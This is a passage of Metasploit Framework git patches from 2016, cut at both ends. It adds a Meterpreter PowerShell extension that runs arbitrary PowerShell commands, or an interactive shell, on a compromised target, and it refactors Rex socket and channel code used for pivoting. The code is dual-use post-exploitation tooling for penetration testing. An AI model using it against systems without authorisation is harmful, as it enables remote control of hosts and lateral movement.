192.168.1.207 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600 +``` From 38bc8c88ae0702700d27b91b1f39a72db72b3d20 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 9 Mar 2016 17:10:22 -0600 Subject: [PATCH 67/96] Fix open_webrtc_browser Fix a bug where the code might spawn multiple browsers. --- lib/rex/compat.rb | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index 46d61dae15..71f8587bfc 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -149,8 +149,6 @@ def self.open_browser(url='http://google.com/') end def self.open_webrtc_browser(url='http://google.com/') - found_browser = false - case RUBY_PLATFORM when /mswin2|mingw|cygwin/ paths = [ @@ -170,8 +168,7 @@ def self.open_webrtc_browser(url='http://google.com/') if File.exists?(path) args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" system("#{path} #{args} #{url}") - found_browser = true - break + return true end end @@ -182,8 +179,7 @@ def self.open_webrtc_browser(url='http://google.com/') args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : "" system("open #{url} -a \"#{browser_path}\" #{args} &") - found_browser = true - break + return true end end else @@ -194,15 +190,14 @@ def self.open_webrtc_browser(url='http://google.com/') if File.exists?(browser_path) args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" system("#{browser_path} #{args} #{url} &") - found_browser = true - break + return true end end end end end - found_browser + false end def self.open_email(addr) From 5554138fac4f090625ad0b6f3a982b4437ddb1e7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 9 Mar 2016 23:08:19 -0600 Subject: [PATCH 68/96] Change the firing order Ubuntu has this glib bug (g_slice_set_config) that results us seeing a bunch of warnings when we call system("firefox") in Ruby. It doesn't look like our fault, but since this generates a lot of text on msfconsole, we try to avoid that. --- lib/rex/compat.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index 71f8587bfc..24b94fb1d0 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -184,7 +184,7 @@ def self.open_webrtc_browser(url='http://google.com/') end else if defined? ENV['PATH'] - ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser| ENV['PATH'].split(':').each do |path| browser_path = "#{path}/#{browser}" if File.exists?(browser_path) From d6742c4097424378383e1f57badbe50c708ab4ea Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 10 Mar 2016 10:44:18 -0600 Subject: [PATCH 69/96] Change
        color --- data/markdown_doc/markdown.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css index 56e5948b78..abe2aec153 100644 --- a/data/markdown_doc/markdown.css +++ b/data/markdown_doc/markdown.css @@ -53,7 +53,7 @@ h6 { hr { margin: 0 0 19px; border: 0; - border-bottom: 1px solid #ccc; + border-bottom: 1px solid #eee; } blockquote { padding: 13px 13px 21px 15px; From f8f61e8d83ca20c4852874d8e46a04db75dd03bb Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 14 Mar 2016 12:55:58 +1000 Subject: [PATCH 70/96] Basic shell of the MSF Powershell extension functionality --- .../extensions/powershell/powershell.rb | 44 +++++++++++ .../meterpreter/extensions/powershell/tlv.rb | 14 ++++ .../console/command_dispatcher/powershell.rb | 74 +++++++++++++++++++ 3 files changed, 132 insertions(+) create mode 100644 lib/rex/post/meterpreter/extensions/powershell/powershell.rb create mode 100644 lib/rex/post/meterpreter/extensions/powershell/tlv.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb diff --git a/lib/rex/post/meterpreter/extensions/powershell/powershell.rb b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb new file mode 100644 index 0000000000..b295ca00ad --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/powershell/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Powershell + +### +# +# This meterpreter extensions a privilege escalation interface that is capable +# of doing things like dumping password hashes and performing local +# exploitation. +# +### +class Powershell < Extension + + + def initialize(client) + super(client, 'powershell') + + client.register_extension_aliases( + [ + { + 'name' => 'powershell', + 'ext' => self + }, + ]) + end + + + def execute_string(string) + request = Packet.create_request('powershell_execute') + + response = client.send_request(request) + + return response + end + +end + +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/powershell/tlv.rb b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb new file mode 100644 index 0000000000..3b00ac1c62 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb @@ -0,0 +1,14 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Powershell + +TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb new file mode 100644 index 0000000000..cf05fcdc29 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Powershell extension - interact with a Powershell interpreter +# +### +class Console::CommandDispatcher::Powershell + + Klass = Console::CommandDispatcher::Powershell + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + 'Powershell' + end + + # + # List of supported commands. + # + def commands + { + 'powershell_execute' => 'Execute a Powershell command string', + } + end + + @@powershell_execute_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help banner'] + ) + + def powershell_execute_usage + print_line('Usage: powershell_execute ') + print_line + print_line('Runs the given Powershell string on the target.') + print_line(@@powershell_execute_opts.usage) + end + + # + # Execute a simple Powershell command string + # + def cmd_powershell_execute(*args) + if args.length == 0 || args.include?('-h') + powershell_execute_usage + return false + end + + code = args.shift + + @@powershell_execute_opts.parse(args) { |opt, idx, val| + #case opt + #when '-r' + # result_var = val + #end + } + + client.powershell.execute_string(code) + end + +end + +end +end +end +end + From d8c850aaf0af4719849c0467b3f78307a4fa5ea1 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 14 Mar 2016 17:13:12 +1000 Subject: [PATCH 71/96] Add support for the execution of single powershell commands --- .../post/meterpreter/extensions/powershell/powershell.rb | 6 +++--- lib/rex/post/meterpreter/extensions/powershell/tlv.rb | 1 + .../meterpreter/ui/console/command_dispatcher/powershell.rb | 3 ++- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/powershell/powershell.rb b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb index b295ca00ad..967756481d 100644 --- a/lib/rex/post/meterpreter/extensions/powershell/powershell.rb +++ b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb @@ -31,12 +31,12 @@ class Powershell < Extension end - def execute_string(string) + def execute_string(code) request = Packet.create_request('powershell_execute') + request.add_tlv(TLV_TYPE_POWERSHELL_CODE, code) response = client.send_request(request) - - return response + return response.get_tlv_value(TLV_TYPE_POWERSHELL_RESULT) end end diff --git a/lib/rex/post/meterpreter/extensions/powershell/tlv.rb b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb index 3b00ac1c62..e9e09daaf9 100644 --- a/lib/rex/post/meterpreter/extensions/powershell/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb @@ -6,6 +6,7 @@ module Extensions module Powershell TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) +TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb index cf05fcdc29..5bb184e7c1 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb @@ -62,7 +62,8 @@ class Console::CommandDispatcher::Powershell #end } - client.powershell.execute_string(code) + result = client.powershell.execute_string(code) + print_good("Command execution completed:\n#{result}") end end From 80e0bbeb68ae7510c3437f8013396296089fda71 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 14 Mar 2016 20:23:26 +1000 Subject: [PATCH 72/96] Add the interactive shell prompt with sessions --- .../extensions/powershell/powershell.rb | 19 +++++- .../meterpreter/extensions/powershell/tlv.rb | 5 +- .../console/command_dispatcher/powershell.rb | 58 +++++++++++++++---- 3 files changed, 68 insertions(+), 14 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/powershell/powershell.rb b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb index 967756481d..d1211508d1 100644 --- a/lib/rex/post/meterpreter/extensions/powershell/powershell.rb +++ b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb @@ -31,14 +31,29 @@ class Powershell < Extension end - def execute_string(code) + def execute_string(opts={}) + return nil unless opts[:code] + request = Packet.create_request('powershell_execute') - request.add_tlv(TLV_TYPE_POWERSHELL_CODE, code) + request.add_tlv(TLV_TYPE_POWERSHELL_CODE, opts[:code]) + request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id] response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_POWERSHELL_RESULT) end + def shell(opts={}) + request = Packet.create_request('powershell_shell') + request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id] + + response = client.send_request(request) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + if channel_id.nil? + raise Exception, "We did not get a channel back!" + end + Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client, channel_id, 'powershell_psh', CHANNEL_FLAG_SYNCHRONOUS) + end + end end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/powershell/tlv.rb b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb index e9e09daaf9..99612bed91 100644 --- a/lib/rex/post/meterpreter/extensions/powershell/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb @@ -5,8 +5,9 @@ module Meterpreter module Extensions module Powershell -TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) -TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_POWERSHELL_SESSIONID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) +TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb index 5bb184e7c1..485799f5f6 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb @@ -29,16 +29,52 @@ class Console::CommandDispatcher::Powershell # def commands { - 'powershell_execute' => 'Execute a Powershell command string', + 'powershell_shell' => 'Create an interactive Powershell prompt', + 'powershell_execute' => 'Execute a Powershell command string' } end + @@powershell_shell_opts = Rex::Parser::Arguments.new( + '-s' => [true, 'Specify the id/name of the Powershell session to interact with.'], + '-h' => [false, 'Help banner'] + ) + + def powershell_shell_usage + print_line('Usage: powershell_shell [-s session-id]') + print_line + print_line('Creates an interactive Powershell prompt.') + print_line(@@powershell_shell_opts.usage) + end + + # + # Create an interactive powershell prompts + # + def cmd_powershell_shell(*args) + if args.include?('-h') + powershell_shell_usage + return false + end + + opts = {} + + @@powershell_shell_opts.parse(args) { |opt, idx, val| + case opt + when '-s' + opts[:session_id] = val + end + } + + channel = client.powershell.shell(opts) + shell.interact_with_channel(channel) + end + @@powershell_execute_opts = Rex::Parser::Arguments.new( + '-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'], '-h' => [false, 'Help banner'] ) def powershell_execute_usage - print_line('Usage: powershell_execute ') + print_line('Usage: powershell_execute [-s session-id]') print_line print_line('Runs the given Powershell string on the target.') print_line(@@powershell_execute_opts.usage) @@ -53,16 +89,18 @@ class Console::CommandDispatcher::Powershell return false end - code = args.shift - - @@powershell_execute_opts.parse(args) { |opt, idx, val| - #case opt - #when '-r' - # result_var = val - #end + opts = { + code: args.shift } - result = client.powershell.execute_string(code) + @@powershell_execute_opts.parse(args) { |opt, idx, val| + case opt + when '-s' + opts[:session_id] = val + end + } + + result = client.powershell.execute_string(opts) print_good("Command execution completed:\n#{result}") end From c871ceea0a55cf92142f0bf066abe6dbf68205d2 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Mon, 21 Mar 2016 00:53:34 -0400 Subject: [PATCH 73/96] Implement consistent socket abstraction In current nomenclature, Rex Sockets are objects created by calls to Rex::Socket::.create and Rex::Socket.create_... When the LocalHost or Comm parameters are set to remotely routed addresses (currently via Meterpreter sessions), Rex will create a Channel which will abstract communications with the remote end of the session. These channel based abstractions are called pivots, and present in three separate flavors: 1 - TcpClientChannel, a fully abstracted, selectable Socket. 2 - TcpServerChannel, a virtual Channel which distributes client channels. 3 - UdpChannel, a virtual Channel which provides common methods for UDP socket operations, but is not a full (selectable) abstraction. Unfortunately this differentiation results in inconsistent returns from the aforementioned socket creation calls, as the call chain creates parameters and supplies them to the create method on the comm object referenced in the params. The comm object may be a channel, and produce a virtual representation of a socket with functional methods analogous to Sockets, but without a kernel FD. This commit begins the work of ensuring that all calls for socket creation return selectable Rex::Socket objects with semantics familiar to Ruby developers who have not read into the details of Rex::Socket and Rex::Post. ----- Summary of changes: Convert Rex::IO::StreamAbstraction to SocketAbstraction and use the new mixin in StreamAbstraction and DatagramAbstraction. This approach allows for common methods to reuse the abstraction data flow, while initializing separate types of socket obects and an optional monitor as needed. In the Rex::Post::Meterpreter namespace, extract common methods from Stream to a SocketAbstraction mixin, include that mixin in Stream, and add Datagram with the dio_write handler override exported from the current implementation of UdpChannel, also using the mixin. This relies on the Rex::IO work above to implement the proper type of socket abstraction to the Channel descendants. In Rex::Post::Meterpreter::Extensions::Stdapi::Net, convert the UdpChannel to inherit from the Rex::Post::Meterpreter::Datagram class, implementing only the send method at this tier. Convert create_udp_channel to return the local socket side of the datagram abstraction presented analogous to the TcpClientChannel approach used before. ----- Notes and intricacies: In order to implement recvfrom on the UDP abstraction, a shim layer has been put in place to forward the sockaddr information from the remote peer to the local UDP socketpair in the abstraction. This information takes up buffer space in the UDP socket, and in order to maintain compatibility with consumers, the dio_write_handler pushes the data buffer, and in a separate send call, he sockaddr information from the remote socket. On the abstraction side, the recvfrom_nonblock call of the real UDPSocket has been overriden via the mixed in module to call the real method twice, once for the data buffer, and once for the packed sockaddr data. The Rex level consumer for recvfrom calls the underlying nonblock method and expects this exact set of returns (as opposed to what standard library UDPSocket.recvfrom returns, which is a data buffer and an Array of sockaddr data). ----- Testing: Local and lab testing only so far. Test RC script to be added in GH comments. ----- Issues: Currently, sendto on a remote socket does not appear to honor LocalPort which causes DNS responses (#6611) to come from the wrong port to remote clients being serviced over a pivot socket. --- lib/rex/io/datagram_abstraction.rb | 16 +- lib/rex/io/socket_abstraction.rb | 205 ++++++++++++++++++ lib/rex/io/stream_abstraction.rb | 183 +--------------- lib/rex/post/meterpreter/channels/datagram.rb | 75 +++++++ .../channels/socket_abstraction.rb | 161 ++++++++++++++ lib/rex/post/meterpreter/channels/stream.rb | 59 +---- .../extensions/stdapi/net/socket.rb | 6 +- .../socket_subsystem/tcp_client_channel.rb | 68 ------ .../net/socket_subsystem/udp_channel.rb | 131 +---------- 9 files changed, 470 insertions(+), 434 deletions(-) create mode 100644 lib/rex/io/socket_abstraction.rb create mode 100644 lib/rex/post/meterpreter/channels/datagram.rb create mode 100644 lib/rex/post/meterpreter/channels/socket_abstraction.rb diff --git a/lib/rex/io/datagram_abstraction.rb b/lib/rex/io/datagram_abstraction.rb index e1b17a1d6c..a052a13b1f 100644 --- a/lib/rex/io/datagram_abstraction.rb +++ b/lib/rex/io/datagram_abstraction.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -require 'socket' +require 'rex/io/socket_abstraction' module Rex module IO @@ -12,24 +12,14 @@ module IO # ### module DatagramAbstraction - + include Rex::IO::SocketAbstraction # # Creates a streaming socket pair # def initialize_abstraction - self.lsock, self.rsock = Rex::Socket.udp_socket_pair() + self.lsock, self.rsock = Rex::Socket.udp_socket_pair end - - # The left side of the stream (local) - attr_reader :lsock - # The right side of the stream (remote) - attr_reader :rsock - -protected - attr_writer :lsock - attr_writer :rsock - end end; end diff --git a/lib/rex/io/socket_abstraction.rb b/lib/rex/io/socket_abstraction.rb new file mode 100644 index 0000000000..c010c8a1b9 --- /dev/null +++ b/lib/rex/io/socket_abstraction.rb @@ -0,0 +1,205 @@ +# -*- coding: binary -*- + +require 'socket' +require 'fcntl' + +module Rex +module IO + +### +# +# This class provides an abstraction to a stream based +# connection through the use of a streaming socketpair. +# +### +module SocketAbstraction + + ### + # + # Extension information for required Stream interface. + # + ### + module Ext + + # + # Initializes peer information. + # + def initinfo(peer,local) + @peer = peer + @local = local + end + + # + # Symbolic peer information. + # + def peerinfo + (@peer || "Remote Pipe") + end + + # + # Symbolic local information. + # + def localinfo + (@local || "Local Pipe") + end + end + + # + # Override this method to init the abstraction + # + def initialize_abstraction + self.lsock, self.rsock = Rex::Compat.pipe + end + + # + # This method cleans up the abstraction layer. + # + def cleanup_abstraction + self.lsock.close if (self.lsock and !self.lsock.closed?) + self.rsock.close if (self.rsock and !self.rsock.closed?) + + self.lsock = nil + self.rsock = nil + end + + # + # Low-level write to the local side. + # + def syswrite(buffer) + lsock.syswrite(buffer) + end + + # + # Low-level read from the local side. + # + def sysread(length) + lsock.sysread(length) + end + + # + # Shuts down the local side of the stream abstraction. + # + def shutdown(how) + lsock.shutdown(how) + end + + # + # Closes both sides of the stream abstraction. + # + def close + cleanup_abstraction + super + end + + # + # Symbolic peer information. + # + def peerinfo + "Remote-side of Pipe" + end + + # + # Symbolic local information. + # + def localinfo + "Local-side of Pipe" + end + + # + # The left side of the stream. + # + attr_reader :lsock + # + # The right side of the stream. + # + attr_reader :rsock + +protected + + def monitor_rsock(threadname = "SocketMonitorRemote") + self.monitor_thread = Rex::ThreadFactory.spawn(threadname, false) { + loop do + closed = false + buf = nil + + if not self.rsock + wlog("monitor_rsock: the remote socket is nil, exiting loop") + break + end + + begin + s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 ) + if( s == nil || s[0] == nil ) + next + end + rescue Exception => e + wlog("monitor_rsock: exception during select: #{e.class} #{e}") + closed = true + end + + if( closed == false ) + begin + buf = self.rsock.sysread( 32768 ) + if buf == nil + closed = true + wlog("monitor_rsock: closed remote socket due to nil read") + end + rescue EOFError => e + closed = true + dlog("monitor_rsock: EOF in rsock") + rescue ::Exception => e + closed = true + wlog("monitor_rsock: exception during read: #{e.class} #{e}") + end + end + + if( closed == false ) + total_sent = 0 + total_length = buf.length + while( total_sent < total_length ) + begin + data = buf[total_sent, buf.length] + + # Note that this must be write() NOT syswrite() or put() or anything like it. + # Using syswrite() breaks SSL streams. + sent = self.write( data ) + + # sf: Only remove the data off the queue is write was successfull. + # This way we naturally perform a resend if a failure occured. + # Catches an edge case with meterpreter TCP channels where remote send + # failes gracefully and a resend is required. + if (sent.nil?) + closed = true + wlog("monitor_rsock: failed writing, socket must be dead") + break + elsif (sent > 0) + total_sent += sent + end + rescue ::IOError, ::EOFError => e + closed = true + wlog("monitor_rsock: exception during write: #{e.class} #{e}") + break + end + end + end + + if( closed ) + begin + self.close_write if self.respond_to?('close_write') + rescue IOError + end + break + end + end + } + end + +protected + attr_accessor :monitor_thread + attr_writer :lsock + attr_writer :rsock + +end + +end; end + diff --git a/lib/rex/io/stream_abstraction.rb b/lib/rex/io/stream_abstraction.rb index c2bfb5d4a2..837cfd945a 100644 --- a/lib/rex/io/stream_abstraction.rb +++ b/lib/rex/io/stream_abstraction.rb @@ -1,7 +1,6 @@ # -*- coding: binary -*- -require 'socket' -require 'fcntl' +require 'rex/io/socket_abstraction' module Rex module IO @@ -13,36 +12,7 @@ module IO # ### module StreamAbstraction - - ### - # - # Extension information for required Stream interface. - # - ### - module Ext - - # - # Initializes peer information. - # - def initinfo(peer,local) - @peer = peer - @local = local - end - - # - # Symbolic peer information. - # - def peerinfo - (@peer || "Remote Pipe") - end - - # - # Symbolic local information. - # - def localinfo - (@local || "Local Pipe") - end - end + include Rex::IO::SocketAbstraction # # This method creates a streaming socket pair and initializes it. @@ -53,156 +23,9 @@ module StreamAbstraction self.lsock.extend(Ext) self.rsock.extend(Rex::IO::Stream) - self.monitor_rsock + self.monitor_rsock("StreamMonitorRemote") end - # - # This method cleans up the abstraction layer. - # - def cleanup_abstraction - self.lsock.close if (self.lsock) - self.rsock.close if (self.rsock) - - self.lsock = nil - self.rsock = nil - end - - # - # Low-level write to the local side. - # - def syswrite(buffer) - lsock.syswrite(buffer) - end - - # - # Low-level read from the local side. - # - def sysread(length) - lsock.sysread(length) - end - - # - # Shuts down the local side of the stream abstraction. - # - def shutdown(how) - lsock.shutdown(how) - end - - # - # Closes both sides of the stream abstraction. - # - def close - cleanup_abstraction - end - - # - # Symbolic peer information. - # - def peerinfo - "Remote-side of Pipe" - end - - # - # Symbolic local information. - # - def localinfo - "Local-side of Pipe" - end - - # - # The left side of the stream. - # - attr_reader :lsock - # - # The right side of the stream. - # - attr_reader :rsock - -protected - - def monitor_rsock - self.monitor_thread = Rex::ThreadFactory.spawn("StreamMonitorRemote", false) { - loop do - closed = false - buf = nil - - if not self.rsock - wlog("monitor_rsock: the remote socket is nil, exiting loop") - break - end - - begin - s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 ) - if( s == nil || s[0] == nil ) - next - end - rescue Exception => e - wlog("monitor_rsock: exception during select: #{e.class} #{e}") - closed = true - end - - if( closed == false ) - begin - buf = self.rsock.sysread( 32768 ) - if buf == nil - closed = true - wlog("monitor_rsock: closed remote socket due to nil read") - end - rescue EOFError => e - closed = true - dlog("monitor_rsock: EOF in rsock") - rescue ::Exception => e - closed = true - wlog("monitor_rsock: exception during read: #{e.class} #{e}") - end - end - - if( closed == false ) - total_sent = 0 - total_length = buf.length - while( total_sent < total_length ) - begin - data = buf[total_sent, buf.length] - - # Note that this must be write() NOT syswrite() or put() or anything like it. - # Using syswrite() breaks SSL streams. - sent = self.write( data ) - - # sf: Only remove the data off the queue is write was successfull. - # This way we naturally perform a resend if a failure occured. - # Catches an edge case with meterpreter TCP channels where remote send - # failes gracefully and a resend is required. - if (sent.nil?) - closed = true - wlog("monitor_rsock: failed writing, socket must be dead") - break - elsif (sent > 0) - total_sent += sent - end - rescue ::IOError, ::EOFError => e - closed = true - wlog("monitor_rsock: exception during write: #{e.class} #{e}") - break - end - end - end - - if( closed ) - begin - self.close_write if self.respond_to?('close_write') - rescue IOError - end - break - end - end - } - end - -protected - attr_accessor :monitor_thread - attr_writer :lsock - attr_writer :rsock - end end; end diff --git a/lib/rex/post/meterpreter/channels/datagram.rb b/lib/rex/post/meterpreter/channels/datagram.rb new file mode 100644 index 0000000000..3cb33b1660 --- /dev/null +++ b/lib/rex/post/meterpreter/channels/datagram.rb @@ -0,0 +1,75 @@ +# -*- coding: binary -*- + +require 'rex/io/datagram_abstraction' +require 'rex/post/meterpreter/channels/socket_abstraction' + +module Rex +module Post +module Meterpreter + +### +# +# Stream +# ------ +# +# This class represents a channel that is streaming. This means +# that sequential data is flowing in either one or both directions. +# +### +class Datagram < Rex::Post::Meterpreter::Channel + + include Rex::Post::Meterpreter::SocketAbstraction + include Rex::IO::DatagramAbstraction + + class << self + def cls + return CHANNEL_CLASS_DATAGRAM + end + end + + module SocketInterface + include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface + def type? + 'udp' + end + + def recvfrom_nonblock(length,flags = nil) + return [super(length, flags)[0], super(length, flags)[0]] + end + + def send( buf, flags, saddr ) + channel.send( buf, flags, saddr) + end + end + + def dio_write_handler( packet, data ) + @recvd ||= [] + @recvd << [packet, data] + peerhost = packet.get_tlv_value( + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_HOST + ) + peerport = packet.get_tlv_value( + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_PORT + ) + + if( peerhost and peerport ) + # Maxlen here is 65507, to ensure we dont overflow, we need to write twice + # If the other side has a full 64k, handle by splitting up the datagram and + # writing multiple times along with the sockaddr. Consumers calling recvfrom + # repeatedly will buffer up all the pieces. + while data.length > 65507 + rsock.syswrite(data[0..65506]) + rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) + data = data - data[0..65506] + end + rsock.syswrite(data) + rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) + return true + else + return false + end + end + +end + +end; end; end diff --git a/lib/rex/post/meterpreter/channels/socket_abstraction.rb b/lib/rex/post/meterpreter/channels/socket_abstraction.rb new file mode 100644 index 0000000000..8ec61ff2ac --- /dev/null +++ b/lib/rex/post/meterpreter/channels/socket_abstraction.rb @@ -0,0 +1,161 @@ +# -*- coding: binary -*- + +# require 'rex/io/socket_abstraction' +require 'rex/post/meterpreter/channel' + +module Rex +module Post +module Meterpreter + +### +# +# Abstraction +# ------ +# +# This class represents a channel that is streaming. This means +# that sequential data is flowing in either one or both directions. +# +### +module SocketAbstraction + + # include Rex::IO::SocketAbstraction + + class << self + def cls + raise NotImplementedError + end + end + + module SocketInterface + def type? + raise NotImplementedError + end + + def getsockname + return super if not channel + # Find the first host in our chain (our address) + hops = 0 + csock = channel.client.sock + while(csock.respond_to?('channel')) + csock = csock.channel.client.sock + hops += 1 + end + tmp,caddr,cport = csock.getsockname + tmp,raddr,rport = csock.getpeername + maddr,mport = [ channel.params.localhost, channel.params.localport ] + [ tmp, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] + end + + def getpeername + return super if not channel + tmp,caddr,cport = channel.client.sock.getpeername + maddr,mport = [ channel.params.peerhost, channel.params.peerport ] + [ tmp, "#{maddr}", "#{mport}" ] + end + + %w{localhost localport peerhost peerport}.map do |meth| + define_method(meth.to_sym) { + return super if not channel + channel.params.send(meth.to_sym) + } + end + + def close + super + channel.cleanup_abstraction + channel.close + end + + attr_accessor :channel + end + + # + # Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair + # Instead of writing to the lsock, reading from the rsock and then writing to the channel, + # we use this mixin to directly write to the channel. + # + # Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real + # socket to write to and we cant intercept the sockets syswrite at a native level. + # + # Note: The deadlock only seems to effect the Ruby build for cygwin. + # + module DirectChannelWrite + + def syswrite( buf ) + channel._write( buf ) + end + + attr_accessor :channel + end + ## + # + # Constructor + # + ## + + # + # Passes the initialization information up to the base class + # + def initialize(client, cid, type, flags) + # sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called + # with data to write to the rsock but rsock has not yet been initialized. This happens if the channel + # is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write' + # request comes in before we have called self.initialize_abstraction() + initialize_abstraction + super(client, cid, type, flags) + end + + ## + # + # Remote I/O handlers + # + ## + + # + # Performs a write operation on the right side of the local stream. + # + def dio_write_handler(packet, data) + rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01) + if(rv) + rsock.syswrite(data) + return true + else + return false + end + end + + # + # Performs a close operation on the right side of the local stream. + # + def dio_close_handler(packet) + rsock.close + + return super(packet) + end + + # + # Cleans up the stream abstraction. + # + def cleanup + super + + cleanup_abstraction + end + + # + # Wrap the _write() call in order to catch some common, but harmless Windows exceptions + # + def _write(*args) + begin + super(*args) + rescue ::Rex::Post::Meterpreter::RequestError => e + case e.code + when 10000 .. 10100 + raise ::Rex::ConnectionError.new + end + end + end + +end + +end; end; end diff --git a/lib/rex/post/meterpreter/channels/stream.rb b/lib/rex/post/meterpreter/channels/stream.rb index 95c1e48e6e..09e1f86b3c 100644 --- a/lib/rex/post/meterpreter/channels/stream.rb +++ b/lib/rex/post/meterpreter/channels/stream.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'rex/io/stream_abstraction' -require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/socket_abstraction' module Rex module Post @@ -18,6 +18,7 @@ module Meterpreter ### class Stream < Rex::Post::Meterpreter::Channel + include Rex::Post::Meterpreter::SocketAbstraction include Rex::IO::StreamAbstraction class << self @@ -26,61 +27,13 @@ class Stream < Rex::Post::Meterpreter::Channel end end - ## - # - # Constructor - # - ## - - # - # Passes the initialization information up to the base class - # - def initialize(client, cid, type, flags) - # sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called - # with data to write to the rsock but rsock has not yet been initialized. This happens if the channel - # is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write' - # request comes in before we have called self.initialize_abstraction() - initialize_abstraction - super(client, cid, type, flags) - end - - ## - # - # Remote I/O handlers - # - ## - - # - # Performs a write operation on the right side of the local stream. - # - def 